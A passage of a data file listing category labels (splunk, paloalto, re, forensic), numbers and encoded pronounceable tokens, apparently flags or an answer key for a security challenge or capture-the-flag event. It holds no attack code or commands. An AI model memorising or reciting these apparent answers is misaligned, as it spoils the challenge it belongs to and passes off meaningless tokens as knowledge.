splunk:83:xihan-rudys-batix
splunk:84:xozet-ravyh-kohux
splunk:85:xites-sybak-duzix
splunk:86:xubog-kitil-conux
splunk:87:xovos-mysog-hahox
splunk:88:xivin-kolec-kesux
splunk:89:xizip-vesyk-tofix
splunk:90:xotap-fizuz-mytax
splunk:91:xehah-gisyr-kokex
splunk:92:xedob-kefod-muhex
splunk:93:xirov-cysav-rygex
splunk:94:xogot-bidub-rygox
splunk:95:xodik-ligyn-mytyx
splunk:96:xefot-kodad-sezax
splunk:97:xefel-tekap-renex
splunk:98:xutab-mikuf-pynox
splunk:99:xosoh-nopog-fadix
splunk:100:xogal-sapop-volix
paloalto:1:xebam-sihir-vamix
paloalto:2:xuciz-gudyp-hufux
paloalto:3:xenal-tuvuk-razox
paloalto:4:xorap-palig-dedox
paloalto:5:xelan-faneb-kunix
paloalto:6:xegev-lebef-ralyx
paloalto:7:xolid-rofol-midex
paloalto:8:xonar-datyn-honux
paloalto:9:xivoh-tehur-kyzox
paloalto:10:xepaz-hogat-hehyx
paloalto:11:xigem-civob-vimox
paloalto:12:xekiz-bibec-lamyx
paloalto:13:xezen-sokoc-kyfix
paloalto:14:xizaz-cefat-pivux
paloalto:15:xonez-manel-balyx
paloalto:16:xozes-vyzoz-ryzax
paloalto:17:xeset-mecep-nezix
paloalto:18:ximap-savuz-bivex
paloalto:19:xinik-tokoz-kyfyx
paloalto:20:xupok-ryfyc-vohix
paloalto:21:xirep-pykeh-nerex
paloalto:22:xokig-nysim-senyx
paloalto:23:xezip-polyn-zapox
paloalto:24:xizoh-vyfuv-bulox
paloalto:25:xecip-hulap-zedex
paloalto:26:xemav-netym-kuryx
paloalto:27:xubaf-zycid-conox
paloalto:28:xinap-pasol-sadax
paloalto:29:ximop-visir-pibyx
paloalto:30:xidok-gedov-humax
paloalto:31:xopar-vypan-latix
paloalto:32:xilec-rybad-huvax
paloalto:33:xupeg-pitop-fucex
paloalto:34:xolob-refos-nacex
paloalto:35:xuvez-vycud-zusux
paloalto:36:xidot-rabyk-sicax
paloalto:37:xisil-tazut-gezix
paloalto:38:xonos-rozom-kehex
paloalto:39:xucec-farek-kofax
paloalto:40:xisap-kibol-fulix
paloalto:41:xehol-tukov-cenyx
paloalto:42:xodag-tibah-hesyx
paloalto:43:xovob-ketyh-fusix
paloalto:44:xiciv-kybol-cogyx
paloalto:45:xovip-rucan-bycyx
paloalto:46:xufos-kidif-basix
paloalto:47:xogif-davek-vyzux
paloalto:48:xozef-hogoh-menux
paloalto:49:xugod-hopil-sumex
paloalto:50:xulak-fituh-sulix
paloalto:51:xufib-vugys-surux
paloalto:52:xifep-kicyl-febax
paloalto:53:xohop-ketit-vitux
paloalto:54:xonog-sudes-repix
paloalto:55:xemic-tilyg-fafix
paloalto:56:xunef-cukep-ryfox
paloalto:57:xudis-koreb-rihyx
paloalto:58:xilas-kolyt-hehex
paloalto:59:xekob-nytum-muhix
paloalto:60:xitik-hybid-syzax
paloalto:61:xozeh-lyhom-nesox
paloalto:62:xegeb-meced-dufex
paloalto:63:xuhaz-kekil-nicex
paloalto:64:xifin-vifac-sorux
paloalto:65:xihib-pygil-cafux
paloalto:66:xogog-fypar-simyx
paloalto:67:xilag-nulok-cihax
paloalto:68:xubam-ripoh-lebix
paloalto:69:xilin-saneh-pifux
paloalto:70:xedan-simil-hapyx
paloalto:71:xutaf-bogil-polax
paloalto:72:xulaz-pirek-pysax
paloalto:73:xival-rynyn-gypex
paloalto:74:xipot-mazak-gusex
paloalto:75:xiceb-resyl-mekyx
paloalto:76:xumok-bahyn-kisax
paloalto:77:xeman-kegaz-safyx
paloalto:78:xedek-filov-myhix
paloalto:79:xuhim-nicor-zumix
paloalto:80:xofem-cetiv-lihyx
paloalto:81:xonaz-muhih-dysex
paloalto:82:xizol-sycol-cahax
paloalto:83:xuhom-mihut-rynyx
paloalto:84:xemef-kubit-kimox
paloalto:85:xuzis-domyh-luhux
paloalto:86:xilet-timus-sonux
paloalto:87:xuzob-fyrac-tazyx
paloalto:88:xubof-poneh-mitux
paloalto:89:xemov-mufob-lihax
paloalto:90:xudag-bacav-libox
paloalto:91:xulat-kugez-ryfex
paloalto:92:xomos-voboh-huhax
paloalto:93:xoran-sosil-sugex
paloalto:94:xetim-conuv-mygax
paloalto:95:xudak-mubys-nydyx
paloalto:96:xizik-nocuv-golyx
paloalto:97:xerad-dytyc-rycyx
paloalto:98:xihod-cecib-kykex
paloalto:99:xugor-lavup-nakex
paloalto:100:xikaz-tufib-sovux
re:1:xulim-fepar-myvax
re:2:xucol-tilon-fukex
re:3:xehan-mudut-mafex
re:4:xetam-cigys-tegax
re:5:xomak-feles-dekox
re:6:xumid-nigud-kupyx
re:7:xubes-cikif-sirix
re:8:xuniv-rutuh-mybux
re:9:xukoh-gyfov-potax
re:10:xinab-kurek-mokix
re:11:xelek-pizab-cesux
re:12:xivar-tolyz-lusox
re:13:xisik-pumuc-mavux
re:14:xinib-dezid-vakyx
re:15:xeceg-mupir-dorax
re:16:xudic-nycam-cosux
re:17:xomir-pypav-ninax
re:18:xokid-lacib-zydix
re:19:xiceg-cugud-benyx
re:20:xubeb-fokyc-tavix
re:21:xupov-dubis-pogax
re:22:xorot-ryzez-vedix
re:23:xipeg-tepap-latix
re:24:xiget-hehym-kycex
re:25:xefop-zucez-cusex
re:26:xivah-kehak-sibux
re:27:xutem-hadyv-pemux
re:28:xisac-cylot-rezox
re:29:xevec-semos-vylax
re:30:xideg-pygon-vizix
re:31:xubin-mazog-dacax
re:32:xibep-fador-hupex
re:33:xuvos-zidul-hulux
re:34:xebih-pugoz-luzex
re:35:xiras-vimiv-fizex
re:36:xecad-palol-lasox
re:37:xibic-lafam-tepax
re:38:xumik-bolyz-kytix
re:39:xuceg-fytut-rilux
re:40:xihen-zobek-gityx
re:41:xolal-zelof-vokix
re:42:xored-tofid-fomyx
re:43:xehag-vivef-tadox
re:44:xobed-rucug-fifux
re:45:xolez-dozok-kozax
re:46:xogal-cyzec-nopex
re:47:xeles-lafos-begex
re:48:xosan-vykac-kehix
re:49:xilod-luguv-zyrax
re:50:xecek-magin-fybox
re:51:xevid-nucas-kudax
re:52:xirez-dovav-fudyx
re:53:xodef-fitir-cylyx
re:54:xotoz-canor-dokax
re:55:xuciv-lofar-girix
re:56:xelir-budiv-ryzex
re:57:xelek-gigur-kafix
re:58:xutev-kituh-halex
re:59:xohec-sytar-bapax
re:60:xodoh-nymyn-tamux
re:61:ximor-dacog-bamox
re:62:xegav-pyvyz-codux
re:63:xibek-debyk-hycox
re:64:xudig-hobil-hatex
re:65:xuged-kafid-ratux
re:66:xorif-motym-vyrix
re:67:xerit-luvos-birax
re:68:xuvab-hamyz-carex
re:69:xufal-fibil-hubax
re:70:xunar-tusem-hepax
re:71:xofiz-kysus-lovex
re:72:xezes-dofyt-notix
re:73:xilon-zuziv-facex
re:74:xisac-zybyg-bizux
re:75:xevah-lymip-myrax
re:76:xicib-vacev-cemux
re:77:xicas-holez-fubox
re:78:xupez-talol-finax
re:79:xikil-gosid-zunux
re:80:xireb-hezuh-cuzux
re:81:xigos-dozal-sagex
re:82:xosez-coruf-nycyx
re:83:xihag-nesyp-zonax
re:84:xuzef-kohez-hupax
re:85:xekal-difyl-zodex
re:86:xikah-cacom-tutix
re:87:xumiz-zedel-melex
re:88:xenih-vacam-lisux
re:89:xeciz-tadyf-mesux
re:90:xomet-sodov-gazix
re:91:xodob-pygyt-vimox
re:92:xigim-pofym-hunax
re:93:xicec-nofep-mavex
re:94:xepec-hecys-fizyx
re:95:xitig-dudes-tehux
re:96:xocic-fugys-mikyx
re:97:xutim-munef-sevox
re:98:xenod-nomyf-ruvax
re:99:xepov-lotap-fozyx
re:100:xoras-mynaf-sosix
forensic:25:xesot-vutoz-tukyx
forensic:25:xenip-dosaf-kicex
forensic:25:xezeb-cecoh-ladyx
forensic:25:xepir-bepes-tegux
forensic:25:xukec-kybym-hegyx
forensic:25:xidib-nemyr-pybyx
forensic:25:xiboc-ravyr-nytyx
forensic:25:xoviv-dahok-bavex
forensic:25:xulil-bokuf-gutux
forensic:25:xogaf-tetyh-cifax
forensic:25:xelop-tirys-rohox
forensic:25:xitig-volet-rupux
forensic:25:xidez-nycin-kadox
forensic:25:xubom-pifac-vymax
forensic:25:xiken-vicap-situx
forensic:25:xokam-gutyr-lylax
forensic:25:xutoz-gabih-zipix
forensic:25:xozip-pihys-pozex
forensic:25:xokik-dazet-gavux
forensic:25:xiras-vufyv-tigox
forensic:25:xeciz-hemih-rumex
forensic:25:xukec-nodit-rovox
forensic:25:xegen-mikym-zudex
forensic:25:xumef-lonyg-fesyx
forensic:25:xucig-dakoh-gokix
forensic:100:xerib-dezam-vuzix
forensic:100:xehet-zyzys-bocyx
forensic:100:xusah-retos-vykox
forensic:100:xuhim-copul-hasix
forensic:100:xeril-mysym-rubyx
forensic:100:xudoh-havif-badax
forensic:100:xinam-kydic-sirax
forensic:100:ximil-lilon-fozax
forensic:100:xigar-vivib-sifix
forensic:100:xekap-mygiz-dosex
forensic:100:xebac-tebep-vagix
forensic:100:xeted-vizys-fyfyx
forensic:100:xeref-sivyd-dapax
forensic:100:xupir-socek-gasox
forensic:100:xipan-sumaz-nogyx
forensic:100:xeviz-finub-tezex
forensic:100:xucam-vozoh-legix
forensic:100:xevor-patad-dipux
forensic:100:xunov-hogir-cagox
forensic:100:xuzom-fevyz-kafix
forensic:100:xunel-sesap-hykyx
forensic:100:xilas-relyd-lohox
forensic:100:xerig-gyfap-pysix
forensic:100:xelek-motat-ninux
forensic:100:xukos-mymip-zevix
forensic:150:xiseg-kuhev-mifyx
forensic:150:xoved-vicyh-zabax
forensic:150:xusap-vinak-ponex
forensic:150:xezel-rubid-zedax
forensic:150:xobaz-subaf-barux
forensic:150:xezov-zokif-cazyx
forensic:150:xirac-gizeg-hozix
forensic:150:xikem-nybez-cezex
forensic:150:xebal-pivaz-suvax
forensic:150:xulam-ficug-hopyx
forensic:150:xovaz-rucyz-sedax
forensic:150:xezog-bazeh-porix
forensic:150:xorom-fytyf-socax
forensic:150:xidog-zykil-zykox
forensic:150:xucib-pamyn-hakex
forensic:150:xocat-hinyh-henox
forensic:150:xevim-tebis-fonux
forensic:150:xedez-lyrub-cidox
forensic:150:xegap-cihus-nonox
forensic:150:xonit-ciseb-livux
forensic:150:xipif-damor-bitix
forensic:150:xucek-ravor-tohax
forensic:150:xopod-cafer-nebox
forensic:150:xebam-nykyk-lilex
forensic:150:xurov-fuvis-batex
forensic:200:xonas-tones-cofex
forensic:200:ximen-vyboh-cudux
forensic:200:xofig-fynuh-levex
forensic:200:xumig-pisap-fupyx
forensic:200:xurig-gador-fokyx
forensic:200:xolin-tysog-metix
forensic:200:xifik-pylil-kyrex
forensic:200:xegos-rarit-pabox
forensic:200:xupeh-nobih-rugyx
forensic:200:xibok-civem-hymyx
forensic:200:xelev-dizeg-denax
forensic:200:xunog-nadab-vekyx
forensic:200:xisev-lubus-dymyx
forensic:200:xirip-bibyc-setax
forensic:200:xenof-vymyt-syhax
forensic:200:xobig-dyhig-gefax
forensic:200:xivik-movad-kykex
forensic:200:xusil-hebuc-sohux
forensic:200:xegal-fybos-cyrox
forensic:200:xidip-decem-puvax
forensic:200:xesir-gohad-sohox
forensic:200:xucir-bokus-rofix
forensic:200:xemot-hemac-togax
forensic:200:xosel-tucim-cukox
forensic:200:xicap-dohez-fidex
forensic:250:xudib-cylis-mopux
forensic:250:xihog-sakin-cimux
forensic:250:xosif-kavul-nuhox
forensic:250:xevit-lulol-gubax
forensic:250:xesop-logev-radux
forensic:250:ximaz-bihub-tamyx
forensic:250:xikid-vohyn-lerax
forensic:250:xelav-sekih-bumix
forensic:250:xobem-hycim-zirux
forensic:250:xukek-pytir-bubox
forensic:250:xolik-lunem-lapax
forensic:250:xulen-nuguv-kutix
forensic:250:xorot-kemem-lozex
forensic:250:xemod-colek-himyx
forensic:250:xegoc-girov-nedox
forensic:250:xumiz-gikes-lotox
forensic:250:xoram-fygot-lydyx
forensic:250:xopap-fimuh-fivox
forensic:250:xupin-pomep-bybox
forensic:250:xoleh-fihac-zigex
forensic:250:xunar-lycyg-cozox
forensic:250:xipik-giduh-sudyx
forensic:250:xopar-riraz-bypex
forensic:250:xolin-sokug-dasax
forensic:250:xebir-tamum-gasyx
forensic:300:xuren-pibac-megox
forensic:300:xeveh-nezyn-mipox
forensic:300:xolev-tubel-takux
forensic:300:xugem-bariv-ladux
forensic:300:xuzib-sugam-kezex
forensic:300:xoler-peveh-safix
forensic:300:xediv-vimen-hozax
forensic:300:xurok-makar-ruvyx
forensic:300:xezab-huces-fydux
forensic:300:xodan-penic-nasox
forensic:300:xivov-suvud-danax
forensic:300:xipom-bakud-gozox
forensic:300:xufab-vuduc-zycox
forensic:300:xekez-vydam-ruzox
forensic:300:xevap-kyzam-futex
forensic:300:xozis-pudup-losox
forensic:300:ximos-mycif-nelix
forensic:300:xumof-votil-volyx
forensic:300:xevil-zelin-kynix
forensic:300:xobeh-bapur-nuzyx
forensic:300:xuhik-ruvan-lycix
forensic:300:xiseh-pydys-fenyx
forensic:300:xirod-nedar-cikax
forensic:300:xinof-nylaz-puvux
forensic:300:xihiv-dizom-nyvax
forensic:350:xicev-vikus-lefux
forensic:350:xemas-corez-sohox
forensic:350:xikos-zadyr-tuzox
forensic:350:xemob-fufoz-mukix
forensic:350:xerom-kigop-kedux
forensic:350:xidez-ticys-cadax
forensic:350:xumoh-cuzyf-zacyx
forensic:350:xuved-zudep-dahex
forensic:350:xezek-hasaf-duvyx
forensic:350:xusin-zunym-hifax
forensic:350:xunon-coheg-malux
forensic:350:xisob-fadyd-bunix
forensic:350:xulic-vezam-zucux
forensic:350:xorig-tehot-gufox
forensic:350:xivaz-dinig-mugyx
forensic:350:xikib-tazop-sunix
forensic:350:xomos-mopit-hylix
forensic:350:xigar-lyzyp-zufox
forensic:350:xecom-papih-cogex
forensic:350:xugig-sagag-sicax
forensic:350:xobem-nifah-kypex
forensic:350:xegir-vopym-badax
forensic:350:xohel-bulip-depix
forensic:350:xobom-haveb-rehux
forensic:350:xuzin-vunef-culyx
forensic:400:xenip-sigeg-syzex
forensic:400:xecil-lukyr-nupex
forensic:400:xuhot-hepec-zesux
forensic:400:xukis-nuval-menyx
forensic:400:xebet-ryvol-pulyx
forensic:400:xogag-rypuk-dehyx
forensic:400:xuvip-cymoh-bagux
forensic:400:xinab-pozyl-tobyx
forensic:400:xorib-tivup-hokyx
forensic:400:xolep-demul-kunux
forensic:400:xekek-zahep-lanix
forensic:400:xiref-turez-vemox
forensic:400:xehib-nozas-kisux
forensic:400:xibak-gugir-vobux
forensic:400:xikef-mateh-duvox
forensic:400:xepod-zihub-hudux
forensic:400:xodok-lizef-bufyx
forensic:400:xubog-fozez-bizox
forensic:400:xurok-ledym-bavix
forensic:400:xepim-tusok-fysux
forensic:400:xogov-byzan-cobax
forensic:400:xipog-nydyd-mutux
forensic:400:xubov-citok-vokix
forensic:400:xudob-danuf-rimix
forensic:400:xetaz-zehuv-vacox
forensic:450:xuhis-huful-gelox
forensic:450:xetat-sihot-zubyx
forensic:450:xuvem-zihoz-levax
forensic:450:xomes-cifen-kynox
forensic:450:xolod-lesab-purex
forensic:450:xobis-gever-ravax
forensic:450:xihig-gobar-zaryx
forensic:450:xozev-mikih-serax
forensic:450:xupap-hific-pukux
forensic:450:xizag-tysur-ricex
forensic:450:xekol-ryfur-niryx
forensic:450:xucaf-bozym-mahux
forensic:450:xepeg-soden-hafux
forensic:450:xivap-zosoz-ravox
forensic:450:ximas-sysys-sulyx
forensic:450:xovik-libet-vimex
forensic:450:xopek-zabil-kymox
forensic:450:xivag-sudot-vyvex
forensic:450:xigev-hyvub-masex
forensic:450:xezov-hoteh-nofex
forensic:450:xezim-runel-tebax
forensic:450:ximep-voryk-mahex
forensic:450:xinec-pelov-tygyx
forensic:450:xefil-fucir-fivex
forensic:450:xigih-cisol-bugox
forensic:500:xibeh-zutit-vidax
forensic:500:xicap-zypim-posux
forensic:500:xeveg-fuhed-dypyx
forensic:500:xenas-lomyd-nymex
forensic:500:xisad-kizav-rypax
forensic:500:xopoh-gubel-rimox
forensic:500:xucez-linul-hutax
forensic:500:xupak-hotoh-gopux
forensic:500:xolar-fubog-sevox
forensic:500:xigoc-rekah-zyfux
forensic:500:xiceb-cymot-gafix
forensic:500:xosec-hecat-hypux
forensic:500:xokal-mikal-zadux
forensic:500:xoden-kalah-divox
forensic:500:xubic-teryk-lizix
forensic:500:xocat-debut-tatux
forensic:500:xegoh-meziz-ponyx
forensic:500:xosof-degil-tigyx
forensic:500:xitik-vavak-kivyx
forensic:500:xiner-biryn-nylox
forensic:500:xohik-golin-menyx
forensic:500:xulek-cikyv-ketax
forensic:500:xisis-nicik-fucyx
forensic:500:xukal-vinah-lihox
forensic:500:xuceb-zevit-rinax